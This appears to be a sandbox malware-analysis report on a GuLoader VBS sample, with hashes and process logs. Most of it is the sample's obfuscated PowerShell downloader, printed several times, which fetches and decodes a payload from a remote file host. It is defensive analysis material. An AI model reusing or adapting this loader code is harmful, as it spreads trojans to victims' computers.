| File name: | Gymnasielrere84.vbs |
| Full analysis: | https://app.any.run/tasks/72fad8a6-bb32-46be-8811-22a8d3005aee |
| Verdict: | Malicious activity |
| Threats: | GuLoader is an advanced downloader written in shellcode. It’s used by criminals to distribute other malware, notably trojans, on a large scale. It’s infamous for using anti-detection and anti-analysis capabilities. |
| Analysis date: | September 22, 2024, 17:41:29 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with CRLF line terminators |
| MD5: | 0D5AA3C54F12FB3D254DC0ED6F946D2E |
| SHA1: | 04D6915391BC112A8DCC482616473D21E67209AC |
| SHA256: | 8B496E6F6FA5824FC7A95DC9844FDCBBB3D8ABB215476FFC2E2ABE0142BE0447 |
| SSDEEP: | 384:Z9vOg3hVg1cC9a4pYTagc3NE7p5sUm5zSouEDfvl/7GRh/DvvxsWoutDwTK:Zp3hzC9aqYTEZUKXDfN/7GR1zxsODb |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1148 | "C:\WINDOWS\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Arapunga Screenland Manerlig Ransage Underdaniges #>;$Anacanthous='Startsymbolernes';<#Laboratorietekniker Kommunalforvaltningen Gravskndere Ringene #>;$Talstrkest=$host.PrivateData;If ($Talstrkest) {$Hjrnetnder++;}function Klanens($Tamgs){$Hviskhedernes=$Tamgs.Length-$Hjrnetnder;for( $Awaredom=5;$Awaredom -lt $Hviskhedernes;$Awaredom+=6){$Strintes+=$Tamgs[$Awaredom];}$Strintes;}function Unslyness($Tankrensninger){ . ($Sunbelts) ($Tankrensninger);}$Monoscelans=Klanens 'Si uaMMo,eho N utz SejriCarl,lUnkenlKibitaSynba/ ampa5 tnin.Slaae0Frers Up a(Jac tWDamkuiTrfsanFejlmdOuranoUdvekwHypn s.anne OsterNS.manT Insu Egual1Coemp0Kanes.Reprs0W.llo;Klage GlummWP,lisiEsma nV der6 agt4 Syze; eskf Semimx Aut,6S and4 igit;Koran rivvrTikr.v ull:Syned1 Roma2C unt1F und.Sna,p0 Arki)An.id HoveGoutswe ieldc eclakWanseo Bru /Jumbl2V.ric0Block1Fste.0Kobli0Svige1Opvas0Tjene1Tosta SubscFNedtri GummrBypareS,uabfProweoEmbedxAnder/Gelat1Conci2Verde1Mytho.Vacon0Pachy ';$Afsendelsesprioriterings=Klanens 'MakefuUnsh SIdyllE For rHussp-DistraPostsG DioeeReconnTi liTCur.y ';$Troutier186=Klanens 'P rsohRetrut Di ttathe,p,umalsN.nco:Ornam/botan/KiessdBillerGuaraiPr,ntviris e Kapp. FestgEgilaoFingeo overgOpdyrl NotoeHersk.Habi.cBlindoSpgenm Milj/FilliuCivilcSigna?Ansgne,prngx DarlpSnus oag vrr.agtktPhlyz=Fri,rdTyroloNormawtheeznPyroml Panto RelaaResuldRatsb& lektiBipardDaske=Korsv1PodanlTurgeIFu.kt7BulnuSMindeo prebYHerenb Gear_.eartaHelenB ,arnEJulefmArthrRPi,oamRi.esJgroo JSigg I,crum-Lik euUn ov3Unn,u1FemhuJ PulcgTaa swChorutMul iX rapsJNitteMMo dtn ook_Ti.amQDukkem Rola ';$Papermouth=Klanens 'frist> Joyc ';$Sunbelts=Klanens ' ravii Dat.ea.shaxMilie ';$Jochums='tragicomedies';$Energiministre222 = Klanens 'Anfrse ibboc ategh TonaoRense paga %Endoca,idsspForhap llerdIndsvaCa.ictabuliaVandr%Rvful\ SingTUri,rrTil.rkAntiliHat hsColovt WatceunflorMuha nWaldmeB.dfasLemon.kajplB nterr B,sikDissi Re r&uvish&Mord. MassieHibaccFja,thDysmooSkinn For rtHenst ';Unslyness (Klanens 'S rud$S.gnagBoguslDest,oDehisbs.mmeaKlassl Ho.l:RektiFDieneoSol,erCodele F.skb MadcyHypofgC,lubgOver.eDisabnSt.kkdMussyeMushrsPolyp=Manna( dgrac Travm R endDa ne arr/Mithrcs vef op.ta$HvideEWhelknMottle erisr Vejkglr aniPlan mEnwheiStrukn Glutib.ngasL vsst S mmrClasseDi ne2St mf2 Lege2Egenn)Bkken ');Unslyness (Klanens 'Prod $NaphtgHai elBrugeoEpistb,enseaBereglGurly:Rdt.rPKvator Veino ChifcApae tTu kei Uk,ttthirsiBippesSwell=Chick$waitiTOsteorRo gho uppluMilitt Baldi SikreTelear Con 1Taxic8I.ves6notal.BssemssociapMeanilChamaiThirtt ndua(s att$SunshPTreskaTetrapcelebeEnr vrVaab mUnosto Mar uForlatTapr,h Isla)Ba si ');Unslyness (Klanens 'Bloms[ sam NMes,ieHaplotoutdr.St keSege.teBetalrDalhovUnde iDronecHypereSko.kPOver oBastiiSeppanAknowt histM Kvaka TreanPreexa Fo kg BruteSojabrBemgt]Ski f:Dybfr:InstaSTvaere Mir,c blinuTinglrDualiiSemivtOmfavyUnw.iPHumplrOvul oAnti t IrisoSelv,cSwishoCitrilB man Indta= Inko nd,s[MaaseNAssu eSmr atVagui.PlataS ircueComptcKoffauAmbitr S jliKultitNonbeyChemiPFiskerAnviso Trift SultoColumcT maroDipl l ArraTHelicyFuldap VarieOve,b]Incus:Cent,:bukkeT Cymbl pra sS.dko1 Real2Ru em ');$Troutier186=$Proctitis[0];$Kirkegaardsjorde= (Klanens 'Clogs$ForviGFir.ml VadeOMod,sBBrodsa Fen lAlpha: CambVOmb tiRi gnecon,uL recuSFlydeE KnigsRente=RadikNSln ke,yrlawEu ar-PolyhOBulksbSummojKo cieFluorCTarlaTpolar Colo,SKompeYMadlaS angtS.attETwinsMplati.PlacenSand,e.ommaT Seam.Uf,rsWFeminE .ckpB dveCEnverL Fod iSuperEAir un,eremT');$Kirkegaardsjorde+=$Forebyggendes[1];Unslyness ($Kirkegaardsjorde);Unslyness (Klanens 'Begre$Fa tiV AdieiCelleeBlodpl isposAfstieRiotpssenti. ubtuHHead eE icuaSyncodSutureMi enrS,ttosOrdov[D ssi$Lab rA IrrafmareksSoutheCo.trnMaa idVirree SelvlSel bs AmfeeAsexus Ns fpBulgerRom.diA fejoBamburgrkerirefrit d ele spolrOasitiO,olunAf seg Larysvagab]Exce =R ann$OpthaMFrosco SolinSubfioTr dis.ngricDurskePar,gl PaknaS eysnGrummsNskes ');$Forlagsredaktrens=Klanens 'Omniu$ embeV uftaiAd.aneSygedlSki ssPaafyefigursSymme.StrygDBorgeooutfiw SkrpnBhootlTenoroPuffea Ant d S miFnonbuiHogvelPigwee gudm( mimi$MistnT Ennor bauxo evgu Ha ntIm uniCoerce rotor Med,1 Lymp8Me hj6Funam, Acco$ KorrPSmageyBruger FlucaLakrimSlaveiStenbdqui.z) Co,p ';$Pyramid=$Forebyggendes[0];Unslyness (Klanens 'Vespe$C ntiG Ripal lexiOLatinb slavA UnaaL oint:educaGFor,roOccipTDiscoePla p=Per n(MttentCatoneDi meS OrtyT Hard-Ans.uP OutrA ,illtPakprHMiscl origi$adultpBridoy ForhrGoldeaBr,ntmSejlfiRe.redLyssi)Spani ');while (!$Gote) {Unslyness (Klanens 'Frate$PintagDowablT icao Dek,bVulgaaC trolEmpir:BusseNObligemaryswSyd vlHippoiVigoun.nevoeKomposUrobi=Glemm$ Ka et Kirkr La,tuAnlgsePerse ') ;Unslyness $Forlagsredaktrens;Unslyness (Klanens 'ro.beS DagdtTappeaOver,rMet ytXenol-CruciS s.ejl DesoeMun eeKandip Alle No,le4Arrig ');Unslyness (Klanens 'Weine$Suppog FjerlMo.aloBonavbTaarnaHyst l ecen: hel G Warso Op.ttKittee mast=M,nuf(SdvanTSaccheR lats jeset madr- Res.PB,ykoa Strat BismhFinke Tand$IsuroP Aldey inger,argiaasylamReteaiBurisd Brug)Suppr ') ;Unslyness (Klanens 'Dispe$C okegCessalU appoNonetbMa,hraSi edlSkabe:ScryeTO jekeRetrolBade.e orsopHikkelagoraaLilacyRente=Antio$MekangAr iclPresaoHinnebP otoaSemiclHoved:D,sorSCalory leuknParabtSuperaChronkCere sSmigrmInd.baPart eSkipps dekas MoreiAndesgridestIn si+bygko+Tugte%unmu $ChoriP MetorUnfuroLderbcUdkrst Unici PrestNonatiBaidasBesna.Abidac G,oboFremtu Bantn Drift Bein ') ;$Troutier186=$Proctitis[$Teleplay];}$kamillo=333348;$Hoys=29133;Unslyness (Klanens 'Lempn$Vom,tgBreedlDamplo CondbMa riaVirksl Tjre:Skakks Reg g.eglsePall,rHrbare unltGlatnnPlougi lvlanBaandgKamenewidennRhesu Hiber=Unrea Sla GTran e TidetRydde- Pol CNoct oUdfrsnEv.ditFaksieS.uscnProgrtCoemp K lku$TautoPbegroyrhumbrNonreaRegiomNonseiInfradPseud ');Unslyness (Klanens ' Trag$ owargKuverl.omeroLotanbSammeaRejusl ,riv: fklaG Proct AktieFlawepSysteaIll.mg.ecrotSca reFrekvnSoven1Argum5Adven8 E sk Laita=Obli Natu[ BantS.ogstyBeligsTugget Undee MiscmSkraa.WitzcC.loddoKlemen C pevOp,rse M.larteg,ttBans ]Ine.f:Mu.li:EducaFMisadrSupraoKa dsmSurahBPussea Lovns ueinepree 6St in4Ga dhSSalattAbranr I dbiCompunS.rivg Bort(trlas$,lodgsT mpeg SacceDestrrFrisieRespotkel inruperiudmntnB dekgkomple urflnKlap )Uria ');Unslyness (Klanens ' Mimr$CockegVerifl Ba,uo B,ndbDrivgaLiguslKopio:Bone SvoldfkFurbieAk iew ismaePhenyd Tors Desig= Ort Irreg[Tu inStrickyPantosErgomtKazooe armem Befa.La,peT Csare Oss,xSalintepide.c ntaE ultin SkidcO tanoT bskd beriiHypoin JerngDropf].ense:praeg:L jevAIrrecSFise CSfor IDrnenIdr.km.ThorhG avvreRailrtFreskSberett DyderRegeliErsrenVouchgPreou( Picn$Patt GSpe mtPar meGer gpR.stia tersgarrest Chece Begrn ,adi1Micro5Skage8Qu me)Blide ');Unslyness (Klanens 'Pro y$Rem dgGaelilAflytoCheezbRetsmaTrolilKredi:MaalrKKillilroastoth,argObtuntTil,s=Skraa$OverpSHelvekNuance,uffewVengieNomosdOvers.NedslsCif.euKrakibevig s Inc.tV rlirForskiDeletnNedklgCha.q(Carla$Tele kSubnuaChampmCourtiDiktalNedl lMaskeom rra,zardm$ CentH ForvoSquawyNe,tesMbler)Sp cu ');Unslyness $Klogt;" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1640 | "C:\WINDOWS\system32\cmd.exe" /c "echo %appdata%\Trkisternes.Brk && echo t" | C:\Windows\SysWOW64\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4288 | "C:\WINDOWS\system32\cmd.exe" /c ^"C:\WINDOWS\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Arapunga Screenland Manerlig Ransage Underdaniges #>;$Anacanthous='Startsymbolernes';<#Laboratorietekniker Kommunalforvaltningen Gravskndere Ringene #>;$Talstrkest=$host.PrivateData;If ($Talstrkest) {$Hjrnetnder++;}function Klanens($Tamgs){$Hviskhedernes=$Tamgs.Length-$Hjrnetnder;for( $Awaredom=5;$Awaredom -lt $Hviskhedernes;$Awaredom+=6){$Strintes+=$Tamgs[$Awaredom];}$Strintes;}function Unslyness($Tankrensninger){ . ($Sunbelts) ($Tankrensninger);}$Monoscelans=Klanens 'Si uaMMo,eho N utz SejriCarl,lUnkenlKibitaSynba/ ampa5 tnin.Slaae0Frers Up a(Jac tWDamkuiTrfsanFejlmdOuranoUdvekwHypn s.anne OsterNS.manT Insu Egual1Coemp0Kanes.Reprs0W.llo;Klage GlummWP,lisiEsma nV der6 agt4 Syze; eskf Semimx Aut,6S and4 igit;Koran rivvrTikr.v ull:Syned1 Roma2C unt1F und.Sna,p0 Arki)An.id HoveGoutswe ieldc eclakWanseo Bru /Jumbl2V.ric0Block1Fste.0Kobli0Svige1Opvas0Tjene1Tosta SubscFNedtri GummrBypareS,uabfProweoEmbedxAnder/Gelat1Conci2Verde1Mytho.Vacon0Pachy ';$Afsendelsesprioriterings=Klanens 'MakefuUnsh SIdyllE For rHussp-DistraPostsG DioeeReconnTi liTCur.y ';$Troutier186=Klanens 'P rsohRetrut Di ttathe,p,umalsN.nco:Ornam/botan/KiessdBillerGuaraiPr,ntviris e Kapp. FestgEgilaoFingeo overgOpdyrl NotoeHersk.Habi.cBlindoSpgenm Milj/FilliuCivilcSigna?Ansgne,prngx DarlpSnus oag vrr.agtktPhlyz=Fri,rdTyroloNormawtheeznPyroml Panto RelaaResuldRatsb& lektiBipardDaske=Korsv1PodanlTurgeIFu.kt7BulnuSMindeo prebYHerenb Gear_.eartaHelenB ,arnEJulefmArthrRPi,oamRi.esJgroo JSigg I,crum-Lik euUn ov3Unn,u1FemhuJ PulcgTaa swChorutMul iX rapsJNitteMMo dtn ook_Ti.amQDukkem Rola ';$Papermouth=Klanens 'frist> Joyc ';$Sunbelts=Klanens ' ravii Dat.ea.shaxMilie ';$Jochums='tragicomedies';$Energiministre222 = Klanens 'Anfrse ibboc ategh TonaoRense paga %Endoca,idsspForhap llerdIndsvaCa.ictabuliaVandr%Rvful\ SingTUri,rrTil.rkAntiliHat hsColovt WatceunflorMuha nWaldmeB.dfasLemon.kajplB nterr B,sikDissi Re r&uvish&Mord. MassieHibaccFja,thDysmooSkinn For rtHenst ';Unslyness (Klanens 'S rud$S.gnagBoguslDest,oDehisbs.mmeaKlassl Ho.l:RektiFDieneoSol,erCodele F.skb MadcyHypofgC,lubgOver.eDisabnSt.kkdMussyeMushrsPolyp=Manna( dgrac Travm R endDa ne arr/Mithrcs vef op.ta$HvideEWhelknMottle erisr Vejkglr aniPlan mEnwheiStrukn Glutib.ngasL vsst S mmrClasseDi ne2St mf2 Lege2Egenn)Bkken ');Unslyness (Klanens 'Prod $NaphtgHai elBrugeoEpistb,enseaBereglGurly:Rdt.rPKvator Veino ChifcApae tTu kei Uk,ttthirsiBippesSwell=Chick$waitiTOsteorRo gho uppluMilitt Baldi SikreTelear Con 1Taxic8I.ves6notal.BssemssociapMeanilChamaiThirtt ndua(s att$SunshPTreskaTetrapcelebeEnr vrVaab mUnosto Mar uForlatTapr,h Isla)Ba si ');Unslyness (Klanens 'Bloms[ sam NMes,ieHaplotoutdr.St keSege.teBetalrDalhovUnde iDronecHypereSko.kPOver oBastiiSeppanAknowt histM Kvaka TreanPreexa Fo kg BruteSojabrBemgt]Ski f:Dybfr:InstaSTvaere Mir,c blinuTinglrDualiiSemivtOmfavyUnw.iPHumplrOvul oAnti t IrisoSelv,cSwishoCitrilB man Indta= Inko nd,s[MaaseNAssu eSmr atVagui.PlataS ircueComptcKoffauAmbitr S jliKultitNonbeyChemiPFiskerAnviso Trift SultoColumcT maroDipl l ArraTHelicyFuldap VarieOve,b]Incus:Cent,:bukkeT Cymbl pra sS.dko1 Real2Ru em ');$Troutier186=$Proctitis[0];$Kirkegaardsjorde= (Klanens 'Clogs$ForviGFir.ml VadeOMod,sBBrodsa Fen lAlpha: CambVOmb tiRi gnecon,uL recuSFlydeE KnigsRente=RadikNSln ke,yrlawEu ar-PolyhOBulksbSummojKo cieFluorCTarlaTpolar Colo,SKompeYMadlaS angtS.attETwinsMplati.PlacenSand,e.ommaT Seam.Uf,rsWFeminE .ckpB dveCEnverL Fod iSuperEAir un,eremT');$Kirkegaardsjorde+=$Forebyggendes[1];Unslyness ($Kirkegaardsjorde);Unslyness (Klanens 'Begre$Fa tiV AdieiCelleeBlodpl isposAfstieRiotpssenti. ubtuHHead eE icuaSyncodSutureMi enrS,ttosOrdov[D ssi$Lab rA IrrafmareksSoutheCo.trnMaa idVirree SelvlSel bs AmfeeAsexus Ns fpBulgerRom.diA fejoBamburgrkerirefrit d ele spolrOasitiO,olunAf seg Larysvagab]Exce =R ann$OpthaMFrosco SolinSubfioTr dis.ngricDurskePar,gl PaknaS eysnGrummsNskes ');$Forlagsredaktrens=Klanens 'Omniu$ embeV uftaiAd.aneSygedlSki ssPaafyefigursSymme.StrygDBorgeooutfiw SkrpnBhootlTenoroPuffea Ant d S miFnonbuiHogvelPigwee gudm( mimi$MistnT Ennor bauxo evgu Ha ntIm uniCoerce rotor Med,1 Lymp8Me hj6Funam, Acco$ KorrPSmageyBruger FlucaLakrimSlaveiStenbdqui.z) Co,p ';$Pyramid=$Forebyggendes[0];Unslyness (Klanens 'Vespe$C ntiG Ripal lexiOLatinb slavA UnaaL oint:educaGFor,roOccipTDiscoePla p=Per n(MttentCatoneDi meS OrtyT Hard-Ans.uP OutrA ,illtPakprHMiscl origi$adultpBridoy ForhrGoldeaBr,ntmSejlfiRe.redLyssi)Spani ');while (!$Gote) {Unslyness (Klanens 'Frate$PintagDowablT icao Dek,bVulgaaC trolEmpir:BusseNObligemaryswSyd vlHippoiVigoun.nevoeKomposUrobi=Glemm$ Ka et Kirkr La,tuAnlgsePerse ') ;Unslyness $Forlagsredaktrens;Unslyness (Klanens 'ro.beS DagdtTappeaOver,rMet ytXenol-CruciS s.ejl DesoeMun eeKandip Alle No,le4Arrig ');Unslyness (Klanens 'Weine$Suppog FjerlMo.aloBonavbTaarnaHyst l ecen: hel G Warso Op.ttKittee mast=M,nuf(SdvanTSaccheR lats jeset madr- Res.PB,ykoa Strat BismhFinke Tand$IsuroP Aldey inger,argiaasylamReteaiBurisd Brug)Suppr ') ;Unslyness (Klanens 'Dispe$C okegCessalU appoNonetbMa,hraSi edlSkabe:ScryeTO jekeRetrolBade.e orsopHikkelagoraaLilacyRente=Antio$MekangAr iclPresaoHinnebP otoaSemiclHoved:D,sorSCalory leuknParabtSuperaChronkCere sSmigrmInd.baPart eSkipps dekas MoreiAndesgridestIn si+bygko+Tugte%unmu $ChoriP MetorUnfuroLderbcUdkrst Unici PrestNonatiBaidasBesna.Abidac G,oboFremtu Bantn Drift Bein ') ;$Troutier186=$Proctitis[$Teleplay];}$kamillo=333348;$Hoys=29133;Unslyness (Klanens 'Lempn$Vom,tgBreedlDamplo CondbMa riaVirksl Tjre:Skakks Reg g.eglsePall,rHrbare unltGlatnnPlougi lvlanBaandgKamenewidennRhesu Hiber=Unrea Sla GTran e TidetRydde- Pol CNoct oUdfrsnEv.ditFaksieS.uscnProgrtCoemp K lku$TautoPbegroyrhumbrNonreaRegiomNonseiInfradPseud ');Unslyness (Klanens ' Trag$ owargKuverl.omeroLotanbSammeaRejusl ,riv: fklaG Proct AktieFlawepSysteaIll.mg.ecrotSca reFrekvnSoven1Argum5Adven8 E sk Laita=Obli Natu[ BantS.ogstyBeligsTugget Undee MiscmSkraa.WitzcC.loddoKlemen C pevOp,rse M.larteg,ttBans ]Ine.f:Mu.li:EducaFMisadrSupraoKa dsmSurahBPussea Lovns ueinepree 6St in4Ga dhSSalattAbranr I dbiCompunS.rivg Bort(trlas$,lodgsT mpeg SacceDestrrFrisieRespotkel inruperiudmntnB dekgkomple urflnKlap )Uria ');Unslyness (Klanens ' Mimr$CockegVerifl Ba,uo B,ndbDrivgaLiguslKopio:Bone SvoldfkFurbieAk iew ismaePhenyd Tors Desig= Ort Irreg[Tu inStrickyPantosErgomtKazooe armem Befa.La,peT Csare Oss,xSalintepide.c ntaE ultin SkidcO tanoT bskd beriiHypoin JerngDropf].ense:praeg:L jevAIrrecSFise CSfor IDrnenIdr.km.ThorhG avvreRailrtFreskSberett DyderRegeliErsrenVouchgPreou( Picn$Patt GSpe mtPar meGer gpR.stia tersgarrest Chece Begrn ,adi1Micro5Skage8Qu me)Blide ');Unslyness (Klanens 'Pro y$Rem dgGaelilAflytoCheezbRetsmaTrolilKredi:MaalrKKillilroastoth,argObtuntTil,s=Skraa$OverpSHelvekNuance,uffewVengieNomosdOvers.NedslsCif.euKrakibevig s Inc.tV rlirForskiDeletnNedklgCha.q(Carla$Tele kSubnuaChampmCourtiDiktalNedl lMaskeom rra,zardm$ CentH ForvoSquawyNe,tesMbler)Sp cu ');Unslyness $Klogt;" | C:\Windows\System32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4772 | "C:\WINDOWS\system32\cmd.exe" /c "echo %appdata%\Trkisternes.Brk && echo t" | C:\Windows\System32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6340 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Arapunga Screenland Manerlig Ransage Underdaniges #>;$Anacanthous='Startsymbolernes';<#Laboratorietekniker Kommunalforvaltningen Gravskndere Ringene #>;$Talstrkest=$host.PrivateData;If ($Talstrkest) {$Hjrnetnder++;}function Klanens($Tamgs){$Hviskhedernes=$Tamgs.Length-$Hjrnetnder;for( $Awaredom=5;$Awaredom -lt $Hviskhedernes;$Awaredom+=6){$Strintes+=$Tamgs[$Awaredom];}$Strintes;}function Unslyness($Tankrensninger){ . ($Sunbelts) ($Tankrensninger);}$Monoscelans=Klanens 'Si uaMMo,eho N utz SejriCarl,lUnkenlKibitaSynba/ ampa5 tnin.Slaae0Frers Up a(Jac tWDamkuiTrfsanFejlmdOuranoUdvekwHypn s.anne OsterNS.manT Insu Egual1Coemp0Kanes.Reprs0W.llo;Klage GlummWP,lisiEsma nV der6 agt4 Syze; eskf Semimx Aut,6S and4 igit;Koran rivvrTikr.v ull:Syned1 Roma2C unt1F und.Sna,p0 Arki)An.id HoveGoutswe ieldc eclakWanseo Bru /Jumbl2V.ric0Block1Fste.0Kobli0Svige1Opvas0Tjene1Tosta SubscFNedtri GummrBypareS,uabfProweoEmbedxAnder/Gelat1Conci2Verde1Mytho.Vacon0Pachy ';$Afsendelsesprioriterings=Klanens 'MakefuUnsh SIdyllE For rHussp-DistraPostsG DioeeReconnTi liTCur.y ';$Troutier186=Klanens 'P rsohRetrut Di ttathe,p,umalsN.nco:Ornam/botan/KiessdBillerGuaraiPr,ntviris e Kapp. FestgEgilaoFingeo overgOpdyrl NotoeHersk.Habi.cBlindoSpgenm Milj/FilliuCivilcSigna?Ansgne,prngx DarlpSnus oag vrr.agtktPhlyz=Fri,rdTyroloNormawtheeznPyroml Panto RelaaResuldRatsb& lektiBipardDaske=Korsv1PodanlTurgeIFu.kt7BulnuSMindeo prebYHerenb Gear_.eartaHelenB ,arnEJulefmArthrRPi,oamRi.esJgroo JSigg I,crum-Lik euUn ov3Unn,u1FemhuJ PulcgTaa swChorutMul iX rapsJNitteMMo dtn ook_Ti.amQDukkem Rola ';$Papermouth=Klanens 'frist> Joyc ';$Sunbelts=Klanens ' ravii Dat.ea.shaxMilie ';$Jochums='tragicomedies';$Energiministre222 = Klanens 'Anfrse ibboc ategh TonaoRense paga %Endoca,idsspForhap llerdIndsvaCa.ictabuliaVandr%Rvful\ SingTUri,rrTil.rkAntiliHat hsColovt WatceunflorMuha nWaldmeB.dfasLemon.kajplB nterr B,sikDissi Re r&uvish&Mord. MassieHibaccFja,thDysmooSkinn For rtHenst ';Unslyness (Klanens 'S rud$S.gnagBoguslDest,oDehisbs.mmeaKlassl Ho.l:RektiFDieneoSol,erCodele F.skb MadcyHypofgC,lubgOver.eDisabnSt.kkdMussyeMushrsPolyp=Manna( dgrac Travm R endDa ne arr/Mithrcs vef op.ta$HvideEWhelknMottle erisr Vejkglr aniPlan mEnwheiStrukn Glutib.ngasL vsst S mmrClasseDi ne2St mf2 Lege2Egenn)Bkken ');Unslyness (Klanens 'Prod $NaphtgHai elBrugeoEpistb,enseaBereglGurly:Rdt.rPKvator Veino ChifcApae tTu kei Uk,ttthirsiBippesSwell=Chick$waitiTOsteorRo gho uppluMilitt Baldi SikreTelear Con 1Taxic8I.ves6notal.BssemssociapMeanilChamaiThirtt ndua(s att$SunshPTreskaTetrapcelebeEnr vrVaab mUnosto Mar uForlatTapr,h Isla)Ba si ');Unslyness (Klanens 'Bloms[ sam NMes,ieHaplotoutdr.St keSege.teBetalrDalhovUnde iDronecHypereSko.kPOver oBastiiSeppanAknowt histM Kvaka TreanPreexa Fo kg BruteSojabrBemgt]Ski f:Dybfr:InstaSTvaere Mir,c blinuTinglrDualiiSemivtOmfavyUnw.iPHumplrOvul oAnti t IrisoSelv,cSwishoCitrilB man Indta= Inko nd,s[MaaseNAssu eSmr atVagui.PlataS ircueComptcKoffauAmbitr S jliKultitNonbeyChemiPFiskerAnviso Trift SultoColumcT maroDipl l ArraTHelicyFuldap VarieOve,b]Incus:Cent,:bukkeT Cymbl pra sS.dko1 Real2Ru em ');$Troutier186=$Proctitis[0];$Kirkegaardsjorde= (Klanens 'Clogs$ForviGFir.ml VadeOMod,sBBrodsa Fen lAlpha: CambVOmb tiRi gnecon,uL recuSFlydeE KnigsRente=RadikNSln ke,yrlawEu ar-PolyhOBulksbSummojKo cieFluorCTarlaTpolar Colo,SKompeYMadlaS angtS.attETwinsMplati.PlacenSand,e.ommaT Seam.Uf,rsWFeminE .ckpB dveCEnverL Fod iSuperEAir un,eremT');$Kirkegaardsjorde+=$Forebyggendes[1];Unslyness ($Kirkegaardsjorde);Unslyness (Klanens 'Begre$Fa tiV AdieiCelleeBlodpl isposAfstieRiotpssenti. ubtuHHead eE icuaSyncodSutureMi enrS,ttosOrdov[D ssi$Lab rA IrrafmareksSoutheCo.trnMaa idVirree SelvlSel bs AmfeeAsexus Ns fpBulgerRom.diA fejoBamburgrkerirefrit d ele spolrOasitiO,olunAf seg Larysvagab]Exce =R ann$OpthaMFrosco SolinSubfioTr dis.ngricDurskePar,gl PaknaS eysnGrummsNskes ');$Forlagsredaktrens=Klanens 'Omniu$ embeV uftaiAd.aneSygedlSki ssPaafyefigursSymme.StrygDBorgeooutfiw SkrpnBhootlTenoroPuffea Ant d S miFnonbuiHogvelPigwee gudm( mimi$MistnT Ennor bauxo evgu Ha ntIm uniCoerce rotor Med,1 Lymp8Me hj6Funam, Acco$ KorrPSmageyBruger FlucaLakrimSlaveiStenbdqui.z) Co,p ';$Pyramid=$Forebyggendes[0];Unslyness (Klanens 'Vespe$C ntiG Ripal lexiOLatinb slavA UnaaL oint:educaGFor,roOccipTDiscoePla p=Per n(MttentCatoneDi meS OrtyT Hard-Ans.uP OutrA ,illtPakprHMiscl origi$adultpBridoy ForhrGoldeaBr,ntmSejlfiRe.redLyssi)Spani ');while (!$Gote) {Unslyness (Klanens 'Frate$PintagDowablT icao Dek,bVulgaaC trolEmpir:BusseNObligemaryswSyd vlHippoiVigoun.nevoeKomposUrobi=Glemm$ Ka et Kirkr La,tuAnlgsePerse ') ;Unslyness $Forlagsredaktrens;Unslyness (Klanens 'ro.beS DagdtTappeaOver,rMet ytXenol-CruciS s.ejl DesoeMun eeKandip Alle No,le4Arrig ');Unslyness (Klanens 'Weine$Suppog FjerlMo.aloBonavbTaarnaHyst l ecen: hel G Warso Op.ttKittee mast=M,nuf(SdvanTSaccheR lats jeset madr- Res.PB,ykoa Strat BismhFinke Tand$IsuroP Aldey inger,argiaasylamReteaiBurisd Brug)Suppr ') ;Unslyness (Klanens 'Dispe$C okegCessalU appoNonetbMa,hraSi edlSkabe:ScryeTO jekeRetrolBade.e orsopHikkelagoraaLilacyRente=Antio$MekangAr iclPresaoHinnebP otoaSemiclHoved:D,sorSCalory leuknParabtSuperaChronkCere sSmigrmInd.baPart eSkipps dekas MoreiAndesgridestIn si+bygko+Tugte%unmu $ChoriP MetorUnfuroLderbcUdkrst Unici PrestNonatiBaidasBesna.Abidac G,oboFremtu Bantn Drift Bein ') ;$Troutier186=$Proctitis[$Teleplay];}$kamillo=333348;$Hoys=29133;Unslyness (Klanens 'Lempn$Vom,tgBreedlDamplo CondbMa riaVirksl Tjre:Skakks Reg g.eglsePall,rHrbare unltGlatnnPlougi lvlanBaandgKamenewidennRhesu Hiber=Unrea Sla GTran e TidetRydde- Pol CNoct oUdfrsnEv.ditFaksieS.uscnProgrtCoemp K lku$TautoPbegroyrhumbrNonreaRegiomNonseiInfradPseud ');Unslyness (Klanens ' Trag$ owargKuverl.omeroLotanbSammeaRejusl ,riv: fklaG Proct AktieFlawepSysteaIll.mg.ecrotSca reFrekvnSoven1Argum5Adven8 E sk Laita=Obli Natu[ BantS.ogstyBeligsTugget Undee MiscmSkraa.WitzcC.loddoKlemen C pevOp,rse M.larteg,ttBans ]Ine.f:Mu.li:EducaFMisadrSupraoKa dsmSurahBPussea Lovns ueinepree 6St in4Ga dhSSalattAbranr I dbiCompunS.rivg Bort(trlas$,lodgsT mpeg SacceDestrrFrisieRespotkel inruperiudmntnB dekgkomple urflnKlap )Uria ');Unslyness (Klanens ' Mimr$CockegVerifl Ba,uo B,ndbDrivgaLiguslKopio:Bone SvoldfkFurbieAk iew ismaePhenyd Tors Desig= Ort Irreg[Tu inStrickyPantosErgomtKazooe armem Befa.La,peT Csare Oss,xSalintepide.c ntaE ultin SkidcO tanoT bskd beriiHypoin JerngDropf].ense:praeg:L jevAIrrecSFise CSfor IDrnenIdr.km.ThorhG avvreRailrtFreskSberett DyderRegeliErsrenVouchgPreou( Picn$Patt GSpe mtPar meGer gpR.stia tersgarrest Chece Begrn ,adi1Micro5Skage8Qu me)Blide ');Unslyness (Klanens 'Pro y$Rem 